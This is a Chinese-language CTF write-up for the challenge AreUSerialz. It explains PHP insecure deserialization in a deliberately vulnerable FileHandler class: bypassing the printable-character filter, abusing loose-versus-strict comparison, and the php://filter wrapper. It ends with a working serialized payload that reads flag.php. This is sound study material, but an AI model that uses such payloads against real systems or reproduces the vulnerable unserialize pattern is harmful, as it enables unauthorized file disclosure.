[网鼎杯 2020 青龙组]AreUSerialz
先扫盲:
PHP ord() 函数其返回值为ASCII码
file_put_contents() 函数把一个字符串写入文件中,如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。
=== 需要值和其所属的类型都符合要求 ‘2’ === 2 false
== 值符合要求即可 ‘2’ == 2 true
题目:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先,这里面在传入反序列化后的参数会被调用到的函数只有
__construct():当一个对象创建时被调用
__destruct():当一个对象销毁时被调用
1.绕过is_valid()函数
函数is_valid($s)对传入的字符串进行判断,确保每一个字符ASCII码值都在32-125,即该函数的作用是确保参数字符串的每一个字符都是可打印的,才返回true,也就是这里:
if(is_valid($str)) {
$obj = unserialize($str);
}
绕过方法:
针对与protected类型和private类型的属性存在不可打印字符:
protect分析:
举例:本来是sex结果上面出现的是*sex,而且*sex的长度是4,
但是上面显示的是6,
同样查找资料后发现protect属性序列化的时候格式是%00*%00sex(成员名)
private分析:
这样就发现本来是age结果上面出现的是testage,而且testage长度为7,
但是上面显示的是9
查找资料后发现private属性序列化的时候格式是%00类名%00成员名,
%00占一个字节长度,所以age加了类名后变成了%00test%00age长度为9
那么这里如果传出,对照ASCII码表32-125被定义为可显示字符,但是%00为认定为只占一个字符,所以不在32-125的队伍中,故必须修改成员属性为public,但是这里有给前提就是:PHP7.1以上版本对属性类型不敏感,所以才可以实现
7.1以下的绕过姿势:
当我们将不论是带有protected还是private的成员属性时:
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
只要将代表字符串个数的的s改为大写S,就可以实现将%00用16进制编码表示,变成00
2.利用__destruct()来实现read()方法的调用
问题1:为什么非要调用read()方法
回答1:对比write()与read()
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
首先需要设置成员filename和content,然后判断content不能的字符串不能大于100,然后再将content的内容写入到我传入的filename的文件中,然后通过判断res的类型来执行output方法,但是如果按照这个逻辑的话,那么flag这辈子是出不来了,得到的结果要么successful,要么是failed,所以不可能是通过write方法了
问题2:那么如何调用read()方法呢?
回答2:利用可以调用的__destruct()来实现read()方法的调用
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
===很扎眼,考点为弱类型,如果op=一个字符型的2那么就把2变成1,然后调用process()方法:
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
首先在刚才就被我们否定的write()函数,是绝对不能用的,所以op绝对不可以=1,所以想要保住op=2的前提下又绕过__destruct()函数,就要使用弱类型来实现,也就是说:
if($this->op == “2”) 这里的2可是整数型,可以是字符型,都返回true
if($this->op === “2”) 这里的2如果是整数型则返回false,只有字符型的时候才返回true
这样就可以给$op传入整数型2的值来实现即绕过了__destruct()函数,又能保证执行read()方法
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
最后一个考点就是在遇到这个file_get_contents()函数的时候,结合php://filter/read=convert.base64-encode/resource=flag.php,等姿势,更多奇奇怪怪的姿势我还没有尝试,请大佬指点
然后可以本地环境来实验了:
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>
构造payload:
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}```
右键查看源代码得到flag